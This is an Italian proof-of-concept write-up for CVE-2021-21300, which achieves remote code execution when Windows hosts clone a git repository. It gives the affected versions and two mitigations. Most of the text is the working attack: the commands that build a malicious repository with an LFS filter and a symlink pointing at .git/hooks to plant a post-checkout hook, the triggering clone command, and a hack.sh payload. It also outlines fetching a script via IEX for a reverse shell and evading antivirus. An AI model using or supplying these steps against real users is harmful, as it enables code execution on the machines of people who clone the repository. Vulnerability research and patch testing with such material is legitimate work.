
Proof-of-concept exploit per CVE-2021-21300, che dimostra l'esecuzione remota di codice tramite clonazione malintenzionata di repository git con abuso di symlink e filtro su filesystem case-insensitive.
In diverse versioni di git, la gestione dei collegamenti simbolici non è rigorosa. Dopo aver caricato file su git da un filesystem case-sensitive (ad esempio Linux), un host con filesystem case-insensitive (ad esempio Windows) che clona un repository malintenzionato può portare all'esecuzione remota di comandi.
Da 2.15 fino all'attuale 2.30.1
Disabilitare i symlink di git: git config --global core.symlinks false
Disabilitare il process filter (solitamente LFS usa questa funzionalità), è possibile visualizzarlo con git config --show-scope --get-regexp 'filter\..*\.process
Sistema: Ubuntu x64
È necessario installare git e git-lfs
Eseguire il comando git lfs install potrebbe generare un errore
Error: Failed to call git rev-parse --git-dir: exit status 128
Può essere ignorato
Quando appare 'Git LFS initialized.' l'installazione è completa.
Sistema: Windows 10 x64
git for Windows: Git-2.17.1-64-bit
(https://www.npackd.org/p/git64/2.17.1.2)
L'installazione di git for Windows può essere lasciata con le impostazioni predefinite.
Ci sono molti tutorial online, non si ripete.
Eseguire i seguenti comandi:
$ git init
$ echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
$ git branch -M main
$ git remote add origin [自己的仓库地址]
$ git push -u origin main
Nel PowerShell (amministratore) fornito da Windows 10, eseguire il seguente comando:
git clone -c core.symlinks=true [自己的仓库地址]
Se dopo il clone appare 'PWNED', l'esecuzione remota del comando è riuscita.
Si vede che durante il clone è stato eseguito il comando nel file post-checkout.
L'idea è di usare IEX per scaricare uno script, quindi tramite Kali ascoltare per ottenere una shell, ma la maggior parte degli script viene riconosciuta e bloccata; aggirando l'antivirus si potrebbe riuscire.
Aggiungere il file script hack.sh nella directory
Contenuto:
#!/bin/sh
#################
echo "script working..." &&
cd / &&
pwd &&
mkdir hack
cd hack &&
touch hacked &&
echo "you has been hacked">hacked &&
echo "done!"
Modificare il comando eseguito in post-checkout per eseguire lo script
printf '#!/bin/sh\n\necho PWNED\n\n./hack.sh >&2\n'>A/post-checkout